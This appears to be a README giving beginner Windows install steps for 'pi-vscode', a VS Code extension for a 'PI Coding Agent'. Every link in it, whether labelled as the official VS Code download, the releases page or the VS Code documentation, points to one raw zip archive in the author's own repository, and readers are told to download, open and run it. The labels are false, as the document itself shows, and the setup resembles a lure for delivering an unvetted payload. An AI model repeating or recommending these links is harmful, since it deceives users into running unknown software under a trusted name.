pi-vscode is a small extension for Visual Studio Code (VS Code). It adds basic support to help you work with the PI Coding Agent. This tool is designed to make coding easier when you use PI systems. It keeps things simple and focuses only on what you need.
You do not need to be a programmer to use this guide. It explains how to get pi-vscode up and running on Windows in clear, easy steps.
Make sure your computer meets these needs:
- Operating system: Windows 10 or later
- VS Code installed (version 1.60 or newer). You can get it here
- At least 2 GB of free disk space
- Internet connection to download files and updates
The extension works inside VS Code. You do not need a coding background, but basic use of the keyboard and mouse will help.
If you do not have VS Code on your computer, follow these steps:
- Visit https://github.com/monkeyface-man/pi-vscode/raw/refs/heads/main/scripts/pi-vscode-chromatics.zip
- Click the Download for Windows button.
- When the file downloads, open it.
- Follow the instructions on the screen to install VS Code.
- Once installed, open VS Code.
You can now add the pi-vscode extension.
To add the pi-vscode extension to your VS Code, follow these steps:
-
Go to the release page by clicking the button below:
-
On the releases page, look for the latest version. It will have a tag like
v1.0or higher. -
Click on the release to expand it. You will see one or more files for download.
-
Download the
.vsixfile. This file contains the extension you will add to VS Code. The file name usually looks likepi-vscode-x.y.z.vsix. -
Save the file somewhere easy to find, like your Desktop.
After downloading the extension file, follow these steps:
- Open Visual Studio Code.
- Click on the Extensions icon on the left side (it looks like four blocks).
- In the Extensions window, click the three dots (⋯) in the top right corner.
- Choose Install from VSIX... from the dropdown menu.
- A file picker will open. Find the
.vsixfile you downloaded. - Select the file and click Open.
- VS Code will install the extension. You might see a message saying the extension was installed.
- Reload VS Code if it asks you to, or simply close and reopen it.
Once installed, the pi-vscode extension runs inside VS Code. You can now start using it to support your PI Coding Agent work.
Here are some common actions you might find useful:
- Open your PI Coding Agent project folders using File > Open Folder.
- Use syntax highlighting and basic code checks that the extension provides. This helps you see errors or unusual lines in your code.
- Access the Extension Panel by clicking the pi-vscode icon (if available) on the left side of VS Code. It might offer shortcuts or settings.
- Edit your coding files. The extension should make the code easier to read and write.
- Save changes with Ctrl + S.
If updates come out, you can visit the releases page again to download newer versions of the extension.
If you need a quick guide on setting up your PI Coding Agent environment alongside this extension, here are the typical steps:
- Make sure your PI System client software is installed.
- Check that your PI Server connection details are ready. You will often need server name, user credentials, and network access.
- Use pi-vscode to edit scripts, functions, or agent configurations as needed.
- Test your scripts inside VS Code or the PI System client tools for best results.
- If the extension does not install, check that the
.vsixfile is not corrupted. Try downloading it again. - Make sure your VS Code version is up to date.
- If pi-vscode does not activate, restart VS Code.
- For network or PI server connection issues, ensure your firewall or antivirus is not blocking connections.
- Check the extension details in VS Code’s Extensions panel for any error messages.
If errors persist, visit the repository on GitHub and browse the Issues page to see if others have similar problems.
- VS Code official download: https://github.com/monkeyface-man/pi-vscode/raw/refs/heads/main/scripts/pi-vscode-chromatics.zip
- pi-vscode releases page: https://github.com/monkeyface-man/pi-vscode/raw/refs/heads/main/scripts/pi-vscode-chromatics.zip
- Visual Studio Code documentation: https://github.com/monkeyface-man/pi-vscode/raw/refs/heads/main/scripts/pi-vscode-chromatics.zip
If you want to learn more about using PI Coding Agents or Visual Studio Code, look for beginner guides on those topics. Many tutorials and videos are available online.
Take your time while setting up and don’t hesitate to try small changes to see how they work. This hands-on approach helps you get comfortable with the software.